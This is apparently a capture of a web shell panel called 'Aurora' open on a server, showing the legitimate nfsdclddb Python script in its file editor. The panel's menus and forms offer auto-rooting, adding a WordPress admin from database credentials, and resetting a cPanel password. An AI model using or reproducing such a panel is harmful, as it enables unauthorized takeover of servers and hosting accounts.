Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
sbin
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: nfsdclddb
#!/usr/bin/python3 """Tool for manipulating the nfsdcld sqlite database """ __copyright__ = """ Copyright (C) 2019 Scott Mayhew <smayhew@redhat.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. """ import argparse import os import sqlite3 import sys class CldDb(): def __init__(self, path): self.con = sqlite3.connect(path) self.con.row_factory = sqlite3.Row for row in self.con.execute('select value from parameters ' 'where key = "version"'): self.version = int(row['value']) for row in self.con.execute('select * from grace'): self.current = int(row['current']) self.recovery = int(row['recovery']) def __del__(self): self.con.close() def __str__(self): return ('Schema version: {self.version} ' 'current epoch: {self.current} ' 'recovery epoch: {self.recovery}'.format(self=self)) def _print_clients(self, epoch): if epoch: for row in self.con.execute('select * from "rec-{:016x}"' .format(epoch)): if self.version >= 4: if row['princhash'] is not None: princhash = row['princhash'].hex() else: princhash = "(null)" print('id = {}, princhash = {}' .format(row['id'].decode(), princhash)) else: print('id = {}'.format(row['id'].decode())) def print_current_clients(self): print('Clients in current epoch:') self._print_clients(self.current) def print_recovery_clients(self): if self.recovery: print('Clients in recovery epoch:') self._print_clients(self.recovery) def check_bad_table_names(self): bad_names = [] for row in self.con.execute('select name from sqlite_master ' 'where type = "table" ' 'and name like "%rec-%" ' 'and length(name) < 20'): bad_names.append(row['name']) return bad_names def fix_bad_table_names(self): try: self.con.execute('begin exclusive transaction') bad_names = self.check_bad_table_names() for bad_name in bad_names: epoch = int(bad_name.split('-')[1], base=16) if epoch == self.current or epoch == self.recovery: if epoch == self.current: which = 'current' else: which = 'recovery' print('found invalid table name {} for {} epoch' .format(bad_name, which)) self.con.execute('alter table "{}" ' 'rename to "rec-{:016x}"' .format(bad_name, epoch)) print('renamed to rec-{:016x}'.format(epoch)) else: print('found invalid table name {} for unknown epoch {}' .format(bad_name, epoch)) self.con.execute('drop table "{}"'.format(bad_name)) print('dropped table {}'.format(bad_name)) except sqlite3.Error: self.con.rollback() else: self.con.commit() def has_princ_data(self): if self.version < 4: return False for row in self.con.execute('select count(*) ' 'from "rec-{:016x}" ' 'where princhash not null' .format(self.current)): count = row[0] if self.recovery: for row in self.con.execute('select count(*) ' 'from "rec-{:016x}" ' 'where princhash not null' .format(self.current)): count = count + row[0] if count: return True return False def _downgrade_table_v4_to_v3(self, epoch): if not self.con.in_transaction: raise sqlite3.Error try: self.con.execute('create table "new_rec-{:016x}" ' '(id blob primary key)'.format(epoch)) self.con.execute('insert into "new_rec-{:016x}" ' 'select id from "rec-{:016x}"' .format(epoch, epoch)) self.con.execute('drop table "rec-{:016x}"'.format(epoch)) self.con.execute('alter table "new_rec-{:016x}" ' 'rename to "rec-{:016x}"' .format(epoch, epoch)) except sqlite3.Error: raise def downgrade_schema_v4_to_v3(self): try: self.con.execute('begin exclusive transaction') for row in self.con.execute('select value from parameters ' 'where key = "version"'): version = int(row['value']) if version != self.version: raise sqlite3.Error for row in self.con.execute('select * from grace'): current = int(row['current']) recovery = int(row['recovery']) if current != self.current: raise sqlite3.Error if recovery != self.recovery: raise sqlite3.Error self._downgrade_table_v4_to_v3(current) if recovery: self._downgrade_table_v4_to_v3(recovery) self.con.execute('update parameters ' 'set value = "3" ' 'where key = "version"') self.version = 3 except sqlite3.Error: self.con.rollback() print('Downgrade failed') else: self.con.commit() print('Downgrade successful') def nfsdcld_active(): rc = os.system('ps -C nfsdcld >/dev/null 2>/dev/null') if rc == 0: return True return False def fix_table_names_command(db, args): if nfsdcld_active(): print('Warning: nfsdcld is running!') ans = input('Continue? ') if ans.lower() not in ['y', 'yes']: print('Operation canceled.') return bad_names = db.check_bad_table_names() if not bad_names: print('No invalid table names found.') return db.fix_bad_table_names() def downgrade_schema_command(db, args): if nfsdcld_active(): print('Warning: nfsdcld is running!') ans = input('Continue? ') if ans.lower() not in ['y', 'yes']: print('Operation canceled') return if db.version != 4: print('Cannot downgrade database from schema version {}.' .format(db.version)) return if args.version != 3: print('Cannot downgrade to version {}.'.format(args.version)) return bad_names = db.check_bad_table_names() if bad_names: print('Invalid table names detected.') print('Please run "{} fix-table-names" before downgrading the schema.' .format(sys.argv[0])) return if db.has_princ_data(): print('Warning: database has principal data, which will be erased.') ans = input('Continue? ') if ans.lower() not in ['y', 'yes']: print('Operation canceled') return db.downgrade_schema_v4_to_v3() def print_command(db, args): print(str(db)) if not args.summary: bad_names = db.check_bad_table_names() if bad_names: print('Invalid table names detected.') print('Please run "{} fix-table-names".'.format(sys.argv[0])) return db.print_current_clients() db.print_recovery_clients() def main(): parser = argparse.ArgumentParser() parser.add_argument('-p', '--path', default='/var/lib/nfs/nfsdcld/main.sqlite', help='path to the database ' '(default: /var/lib/nfs/nfsdcld/main.sqlite)') subparsers = parser.add_subparsers(help='sub-command help') fix_parser = subparsers.add_parser('fix-table-names', help='fix invalid table names') fix_parser.set_defaults(func=fix_table_names_command) downgrade_parser = subparsers.add_parser('downgrade-schema', help='downgrade database schema') downgrade_parser.add_argument('-v', '--version', type=int, choices=[3], default=3, help='version to downgrade to') downgrade_parser.set_defaults(func=downgrade_schema_command) print_parser = subparsers.add_parser('print', help='print database info') print_parser.add_argument('-s', '--summary', default=False, action='store_true', help='print summary only') print_parser.set_defaults(func=print_command) args = parser.parse_args() if not os.path.exists(args.path): return parser.print_usage() clddb = CldDb(args.path) return args.func(clddb, args) if __name__ == '__main__': if len(sys.argv) == 1: sys.argv.extend(['print', '--summary']) main()